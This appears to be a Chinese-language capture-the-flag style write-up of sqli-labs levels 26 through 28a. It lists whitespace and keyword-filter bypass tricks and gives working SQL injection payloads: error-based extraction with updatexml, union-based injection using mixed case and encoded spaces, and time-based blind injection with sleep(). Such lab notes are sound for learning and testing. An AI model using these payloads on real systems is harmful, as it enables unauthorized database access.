less 26
方法1
- 由题目可知,本题绕过了空格和注释,注释符用
|| '1'='1
或者;%00
绕过。
空白符绕过
(1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/*xxx*/
(2)正则空白符:%09、%0A、%0B、%0D、%20
25%
为百分号,%25A0
就是空白符
绕开空格
- %09——TAB键(水平)
- %0a——新建一行
- %0c——新的一页
- %0d return 功能
- %0b——TAB键(垂直)
- %a0——空格
- 由源码可知,题目还将
and、or
等下列这些字符不区分大小写且用空格代替,于是想到利用双写绕过oorr
,and
也可以用%26%26
来绕过,or
可以用||
来绕过。
方法2
- 因此,可以使用与25关的方法2相同的方法。
less 25 方法2
?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1' ='1
补充知识
HTML URL编码
less 26a
2. 由题目可知,本题采用盲注的思路,且闭合方式为')
。
3.查看源码, 将打印的报错信息注释掉,因此只能考虑盲注
- 其余思路与
less 26
相同。
less 27
- 查看源码,过滤了空格,注释符,union、select
- 过滤空格和注释符可以参考前一关的方法1
-
?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1
使用与25关相同的思路——报错注入
5. 或者使用盲注思路、联合注入(大小写注入)。
6.
?id=999'%0AUNion%0ASElEct%0A1,2,3||'1'='1
less 27a
- 本关可以使用联合注入(大小写注入),也可以使用盲注的思路,空格和注释的过滤可以参考
less 26
的方法1
?id=999"%0AUNion%0ASElEct%0A1,2,3||'1'='1 //联合注入
?id=999" %26%26 if(length(database())>9,1,sleep(10)) %26%26 %0a '1'='1 //盲注
less 28
- 本关的闭合方式为
')
/?id=111') %a0 union%a0 select %a0 1,2,3 || '1'='1 //联合注入
/?id=111') %a0 union%a0 select %a0 1,2,3 %26%26 '1'='1
/?id=111') %a0 union%a0 select %a0 1,2,3 || ('1')=('1
/?id=1') %a0 %26%26 if(length(database())>9,1,sleep(5));%00 //基于时间的盲注
less 28a
- 查看源码,打印报错信息被注释掉,代表不能使用报错注入。且过滤点只有一个。
-
?id=1') Union SElect 1,2,3--+
?id=111')%a0Union%a0%a0SElect 1,2,3--+
- 基于时间的盲注
?id=1')%a0and%a0if(length(database())>9,1,sleep(5))--+